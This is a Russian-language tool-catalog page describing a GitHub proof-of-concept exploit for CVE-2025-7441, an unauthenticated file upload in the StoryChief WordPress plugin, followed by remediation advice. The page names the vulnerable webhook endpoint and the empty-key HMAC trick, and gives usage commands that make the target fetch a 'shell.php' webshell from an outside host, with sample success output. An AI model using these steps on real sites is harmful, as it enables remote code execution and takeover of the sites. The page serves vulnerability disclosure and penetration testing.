Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-7441 — StoryChief <= 1.0.42 - Неаутентифицированная произвольная загрузка файлов | Kitploit
Инструменты/GitHubGitHub/anothersec/cve-2025-7441
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubanothersec/cve-2025-7441

CVE-2025-7441

StoryChief <= 1.0.42 - Неаутентифицированная произвольная загрузка файлов

Репозиторий
31422 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-7441

CVE-2025-7441 StoryChief 1.0.42 — Произвольная загрузка файла

Уязвимость (CVE-2025-7441) — Техническое описание

  • Затронутый компонент: плагин StoryChief для WordPress
  • Тип уязвимости: неаутентифицированная произвольная загрузка файла
  • Уязвимая конечная точка: /wp-json/storychief/webhook
  • Причина: плагин принимает JSON-полезную нагрузку вебхука, содержащую URL (в data.featured_image.data.sizes.full), и выполняет серверный HTTP-запрос GET по этому URL без достаточной проверки (отсутствует белый список доменов, недостаточная проверка MIME/содержимого, файлы сохраняются в общедоступные директории загрузок).
  • Воздействие: неаутентифицированный злоумышленник может заставить сервер загрузить и сохранить контролируемое содержимое в директорию загрузок WordPress (например, wp-content/uploads/YYYY/MM/<имя_файла>). Если загруженный файл может быть интерпретирован/выполнен сервером (например, PHP-файл и сервер разрешает выполнение PHP в этой директории), это приводит к удаленному выполнению кода (RCE) и полной компрометации сайта.
  • CVSS (пример): 9.8 (Критический) — серьезность зависит от конфигурации хостинга и разрешений на выполнение.

  • Об этом PoC (CVE-2025-7441)

    Этот скрипт автоматизирует типичный процесс проверки эксплуатации уязвимости:

    1. Формирует JSON-полезную нагрузку вебхука, помещая URL удаленного файла в data.featured_image.data.sizes.full.
    2. Вычисляет подпись HMAC-SHA256 для полезной нагрузки (скрипт по умолчанию вычисляет с пустым ключом) и сохраняет её в meta.mac.
    3. Отправляет POST-запрос с полезной нагрузкой на <site_url>/wp-json/storychief/webhook.
    4. Проверяет, присутствует ли загруженный файл по ожидаемому пути загрузки:

    <site_url>/wp-content/uploads/<ГОД>/<ММ>/<базовое_имя_файла>

    Если файл отвечает кодом HTTP 200, скрипт сообщает об успехе; в противном случае выводит <не удалось загрузить>.

    Скрипт включает следующие флаги: --file-url, --verbose, --use-curl и --retries.

    Использование

    python3 CVE-2025-7441.py <site_url>

    Позиционный аргумент

    • <site_url> — Базовый URL целевого сайта. Пример: http://127.0.0.1:5000/ или https://target.example/

    Флаги

    • --file-url — Переопределить URL удаленного файла, используемый PoC по умолчанию. По умолчанию: жестко заданный пример raw-ссылки на GitHub. Пример: --file-url https://127.0.0.1:5000/zip.php
    • --verbose — Включить подробный вывод (выводит детали запроса/ответа и ход проверки).
    • --use-curl — Использовать подпроцесс curl для отправки POST (запасной режим). Требует установленного curl.
    • --retries — Количество попыток проверить ожидаемый путь загрузки на наличие файла. По умолчанию: 1. Используйте, например, --retries 5 для многократного опроса.

    Пример команды

    root@kitploit:~
    python3 CVE-2025-7441.py http://127.0.0.1:5000/
    

    Указать свой URL удаленного файла

    root@kitploit:~
    python3 CVE-2025-7441.py http://127.0.0.1:5000/  --file-url https://example.com/shell.php
    

    Подробный вывод и несколько проверок

    root@kitploit:~
    python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5
    

    Использовать curl для отправки POST

    root@kitploit:~
    python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose
    

    Вывод:

    root@kitploit:~
    [*] Target: https://127.0.0.1:5000
    [*] file_url: https://127.0.0.1:5000/ZIP.php
    [*] retries: 3
    [*] use_curl: False
    [+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
    [*] Sending POST via requests...
    [*] POST status: 200
    [*] Response body (truncated):
    {"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
    [*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
    [+] success! [+]
    https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
    

    Устранение

    Устранение и исправление Краткосрочное:

    Обновите StoryChief до исправленной версии, как только она станет доступна. Заблокируйте или ограничьте /wp-json/storychief/webhook через WAF или правила сервера. Ограничьте исходящие запросы сервера или трафик на ненадёжные домены.

    Рекомендации разработчикам:

    Проверяйте типы файлов и содержимое после любой удалённой загрузки; проверяйте изображения с помощью безопасных парсеров и отклоняйте недопустимые файлы. Требуйте аутентификацию для вебхуков, которые вызывают серверную загрузку или создание файлов. Убедитесь, что проверка HMAC/подписи реализована и используется. Сохраняйте загруженное содержимое за пределами корневого веб-каталога или отключайте выполнение загруженных файлов в wp-content/uploads.

    Скачать инструмент